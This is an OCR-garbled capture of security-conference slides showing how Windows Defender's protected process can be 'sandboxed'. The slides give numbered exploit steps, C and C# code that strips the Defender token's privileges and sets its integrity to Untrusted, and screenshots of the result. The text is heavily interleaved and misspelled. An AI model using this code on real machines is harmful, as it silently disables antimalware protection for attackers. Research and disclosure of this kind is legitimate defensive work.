While modern sandboxing involves several components of OS security, one of the most important is a low-privilege,
or restricted, token. New sandbox tokens can be created with APIs such as CreateRestrictedToken . Sometimes a
sandboxed process needs to lock itself down after performing some initialization. The AdjustTokenPrivileges and
AdjustTokenGroups APIs allow this adjustment. These APIs enable privileges and groups to be “forfeit” from an
existing process'’s token in such a way that they cannot be restored without creating a new token outside the
sandbox.

Sandboxing Antimalware

Products for Fun and Profit

Gabriel Landau - @gabriellandau
B 2022-02-02

This article demonstrates a flaw that allows attackers to
bypass a Windows security mechanism which protects anti-
malware products from various forms of attack. This is of
particular interest because we build and maintain two anti-

malware products that benefit from this protection.
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Sandboxing Your Antivirus ©

* Project Zero

* James Forshaw: “That’s still okay to OpenProcessToken a PPL
process (with limited-information), even a sandboxed process’

)

e Elastic

* Gabriel said “Oh, and Adjusting the content of a token isn’t
protected by the policy of OpenProcess actually... ©”

* https://github.com/Allevon412/PPL_Sandboxer

static private bool SandboxDefender(bool fix = false)
{

ACCGSSing Tokens IntPtr hProcess = IntPtr.Zero;
Windows provides the OpenProcessToken API to enable interaction with process tokens. MSDN states that one must // get a handle to the Defender process - remember we must be able to enabl
try

have the PROCESS_QUERY_INFORMATION right to use OpenProcessToken . Since a non-protected process can only get
PROCESS_QUERY_LIMITED_INFORMATION access to a PPL process (note the LIMITED ), it is seemingly impossible to get { [/ et get the pid

b """" _ ) . . . irs ge e p1
a handle to a PPL process’s token. However, MSDN is incorrect in this case. With only int pid = Process.GetProcessesBylame("MsMpEng™)[0].1d;
PROCESS_QUERY_LIMITED_INFORMATION , we can successfully open the token of a protected process. James Forshaw Console.uriteline("[+] Defender PID: {0}", pid);
explains this documentation discrepancy in more depth, showing the underlying de-compiled kernel code.

// we have to use the Win32 API, using .Net throws an exception as we c

Tokens are themselves securable objects. As such, regular access checks still apply. The effective token of the Console.liriteline("[+] Getting a process handle for Defender.");

thread attempting to access the token is checked against the security descriptor of the token being accessed for hProcess = OpenProcess(PROCESS_QUERY_LIMITED INFORMATION, false, pid);
the requested access rights ( TOKEN_QUERY , TOKEN_WRITE, TOKEN_IMPERSONATE , etc). For more detail about access
checks, see the Microsoft article, “How Access Checks Work.” /7 throw a general exception which will get caught below

if (hProcess == IntPtr.Zero)

throw new Exception();


https://github.com/Allevon412/PPL_Sandboxer

Sandboxing Your Antivirus ©

// Remove all privileges

SetPrivilege(ptoken, SE DEBUG_NAME, TRUE, &table);
SetPrivilege(ptoken, SE_CHANGE NOTIFY NAME, TRUE, &table);
SetPrivilege(ptoken, SE_TCB_NAME, TRUE, &table)};
SetPrivilege(ptoken, SE_TMPERSONATE MNAME, TRUE, &table);

® EXpIO't Steps SetPrivilege(ptoken, SE_LOAD DRIVER MNAME, TRUE, &table);
SetPrivilege(ptoken, SE_RESTORE_MAME, TRUE, &table);
1 Enable SE DEBUG SetPrivilege(ptoken, SE_BACKUP_MAME, TRUE, &table);
’ - SetPrivilege(ptoken, SE_SECURITY MNAME, TRUE, &table);
SetPrivilege(ptoken, SE_SYSTEM_ENVIRONMENT MNAME, TRUE, &table);
2' OpenPrOCGSS() + QUERY—UMlTED—INFORMATION SetPrivilege(ptoken, SE_TINCREASE QUOTA MAME, TRUE, &table);
: .- SetPrivilege(ptoken, SE _TAKE OWWERSHIP MAME, TRUE, &tahle);
3' AdJUStP“V”egeSTOken() + SE—PRl\/”‘EGE—REMOVED SetPrivilege(ptoken, SE_INC BASE PRIORITY WAME, TRUE, &table);
. SetPrivilege(ptoken, SE_SHUTDOWW MNAME, TRUE, &table);
4 SetlnformatlonToken() + SECURlTY_MANDATORY_U NTRUSTED_RlD SetPrivilege(ptoken, SE_ASSIGNPRIMARYTOKEN MAME, TRUE, &table);

printf("[*] Removed All Privileges‘n");
HANDLE phandle = OpenProcess(PROCESS_QUERY LIMITED TNFORMATION, FALSE, pid);
BOOL token = OpenProcessToken(phandle, TOKEM_ALL_ACCESS, &ptoken); DWORD integritylevel =(SECURITY_MANDATORY_UNTRUSTED_RID;]

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue): SID integritylevelSid = {0};
integritylevelSid.Revision = SID_REVISION;

integritylLevelSid.SubAuthorityCount = 1;
integritylevelSid.IdentifierAuthority.Value[5] = 16;
TOKEN_PRIVILEGES tkp; integritylevelSid.SubAuthority[@] = integritylevel;
tkp.PrivilegeCount = 1;
tkp.Privileges[@].Luid = sedebugnameValue;
tkp.Privileges[@].Attributes = SE_PRIVILEGE ENABLED;
status = NtAdjustPrivilegesToken(ptoken, FALSE, &tkp, sizeof(tkp), NULL, NULL};
if (status) { status = NtSetInformationToken(

pr“in'tf( " [ - :| Err Code: %1x'n" , status ) ; ptoken, TokenIntegritylevel, &tokenIntegritylevel,
sizeof (TOKEN MANDATORY LABEL) + GetlengthSid(&integritylevelSid)

TOKEM _MANDATORY LABEL tokenIntegritylevel = {8};
tokenIntegritylevel.label . Attributes = SE _GROUP_INTEGRITY;
tokenIntegritylevel.label.Sid = &integritylevelSid;

return -24; )
3
printf("[*] Token Integrity set to Untrusted");

[
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Sandboxing Your Antivirus ©

R MsMpEng.exe (3200) Properties - O X K
GPU Disk and Network Comment Windows GPU Disk and Network Comment Windows

General Statistics Performance Threads Token Modules Memory Environment Handles Services General Statistics Performance Threads Token Modules Memory Environment Handles Services
User: NT AUTHORITY\SYSTEM N 0 r m a I User: NT AUTHORITY\SYSTEM
o SID: 1518 e SI0: 1518 Sandboxe
Session: 0 Elevated: N/A Virtualized: Not allowed Session: 0 Elevated: N/A Virtualized: Not allowed

Name Status Description SID Name Status Description SID

Privileges ~ Groups -~
SeAssignPrimaryTokenPrivilege Enabled (modified) Replace a process level token Everyone Enabled Mandatory S-1-1-0
SelncreaseQuotaPrivilege Enabled (modified) Adjust memory quotas for a pro... BUILTIN\Users Enabled Mandatory S-1-5-32-545
SeSecurityPrivilege Enabled (modified) Manage auditing and security log NT AUTHORITY\SERVICE Enabled Mandatory S-1-5-6
SeTakeOwnershipPrivilege Enabled (modified) Take ownership of files or other ... CONSOLE LOGON Enabled Mandatory S-1-2-1
SeloadDriverPrivilege Enabled (modified) Load and unload device drivers NT AUTHORITY\Authenticated Users Enabled Mandatory S-1-5-11
SeBackupPrivilege Enabled (modified) Back up files and directories NT AUTHORITY\This Organization Enabled Mandatory S-1-5-15
SeRestorePrivilege Enabled (modified) Restore files and directories NT SERVICE\WinDefend Enabled Owner S-1-5-80-1913148...
SeShutdownPrivilege Enabled (modified) Shut down the system NT AUTHORITY\LogonSessionld_0_142984 Enabled Logon Id, Mandatory, Owner S-1-5-5-0-142984
SeSystemEnvironmentPrivilege Enabled (modified) Medify firmware environment va... LOCAL Enabled Mandatory S-1-2-0

SeTcbPrivilege Enabled Act as part of the operating syst... BUILTIN\Administrators Enabled Owner S-1-5-32-544
SelncreaseBasePriorityPrivilege Enabled Increase scheduling priority Mandatory Label\Untrusted Mandatory Level Integrity S-1-16-0
SeDebugPrivilege Enabled Debug programs

SeChangeNotifyPrivilege Enabled Bypass traverse checking

SelmpersonatePrivilege Enabled Impersonate a client after authe...

Groups "~

Everyone Enabled Mandatory S-1-1-0

BUILTIN\Users Enabled Mandatory S-1-5-32-545

NT AUTHORITY\SERVICE Enabled Mandatory S-1-5-6

CONSOLE LOGON Enabled Mandatory S-1-2-1 L.

NT AUTHORITY\Authenticated Users Enabled Mandatory S-1-5-11 Process Hacker [ADR-PC\aaaddress1] (Administrator)

NT AUTHORITY\This Organization Enabled Mandatory S-1-5-15 -

NT SERVICE\WinDefend Enabled 0 S-1-5-80-1913148... & He) ; A ; ;
NT SERVICE\WinDefend Sloces e e &> Refresh 77 Options Find handles or DLLs ¥ System information

Default token Permissions Integrity Advanced . . .
Processes Services Network Disk Firewall
Close
Name PID Integrity Protection
v [B]MsMpEng.exe 3200 Untrusted Light (Antimalware)
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Conclusion
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Conclusion

* Process level Protection isn’t strong enough
* Secure your whitelist, or shouldn’t have a whitelist to bypass

* Zero-Trust & Mitigation
* Prevent and detect all the common privilege elevation behavior
e UAC Bypass -> Winlogon (NT Authority) -> WinTCB (PPL)
* Protect your SE_DEBUG privilege e.g. GPO audit
* Monitor all the suspicious driver mounting
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Thank you for your attention

Keep the operation running!

tExOne
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